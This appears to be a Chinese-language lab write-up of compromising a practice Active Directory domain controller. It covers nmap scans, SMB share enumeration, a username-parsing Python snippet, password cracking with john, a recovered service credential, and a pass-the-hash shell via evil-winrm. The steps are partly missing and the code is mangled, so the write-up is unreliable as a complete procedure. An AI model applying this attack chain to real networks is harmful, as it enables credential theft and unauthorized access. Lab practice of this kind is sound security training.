┌──(mikannse㉿kali)-[~/桌面] └─$ sudo nmap --min-rate=10000 -p- 192.168.56.130 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-13 16:56 UTC Nmap scan report for 192.168.56.130 (192.168.56.130) Host is up (0.00031s latency). Not shown: 65518 filtered tcp ports (no-response) PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5985/tcp open wsman 9389/tcp open adws 49664/tcp open unknown 49668/tcp open unknown 49670/tcp open unknown 49683/tcp open unknown MAC Address: 08:00:27:57:B6:6B (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 13.47 seconds
┌──(mikannse㉿kali)-[~/桌面] └─$ sudo nmap -sT -sC -sV -O -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389 192.168.56.130 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-13 16:59 UTC Nmap scan report for 192.168.56.130 (192.168.56.130) Host is up (0.00047s latency).
PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-07-14 07:59:19Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing MAC Address: 08:00:27:57:B6:6B (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2022|11|2016 (97%) OS CPE: cpe:/o:microsoft:windows_server_2016 Aggressive OS guesses: Microsoft Windows Server 2022 (97%), Microsoft Windows 11 21H2 (91%), Microsoft Windows Server 2016 (91%) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 50.87 seconds
[*] Detected 1 hosts serving SMB [*] Established 1 SMB session(s) [+] IP: 192.168.56.130:445 Name: SOUPEDECODE.LOCAL0 Status: Authenticated Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin backup NO ACCESS C$ NO ACCESS Default share IPC$ READ ONLY Remote IPC NETLOGON NO ACCESS Logon server share SYSVOL NO ACCESS Logon server share Users NO ACCESS
有一个IPC$共享可以读取,但是什么都没有
┌──(mikannse㉿kali)-[~/桌面] └─$ smbclient //192.168.56.130/IPC$ Password for [WORKGROUP\mikannse]: Try "help" to get a list of possible commands. smb: \> dir NT_STATUS_NO_SUCH_FILE listing \*
withopen('user.txt','r') as file1: data=file1.read() lines=data.splitlines() withopen('username.txt','w') as file2: for line in lines: list=line.split() username=list[1][12:] file2.write(username+'\n') print('Done')
┌──(mikannse㉿kali)-[~/桌面] └─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
得到凭证为file_svc:Password123!!
哈希传递
再次smb连接backup共享，得到一些用户以及NTLM哈希
爆破无果，之前在Users共享中存在一个FileServer$,用它传递哈希,成功拿到shell
┌──(mikannse㉿kali)-[~/桌面] └─$ evil-winrm -i soupedecode.local -u 'FileServer$' -H 'e41da7e79a4c76dbd9cf79d1cb325559' Evil-WinRM shell v3.5 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\FileServer$\Documents>
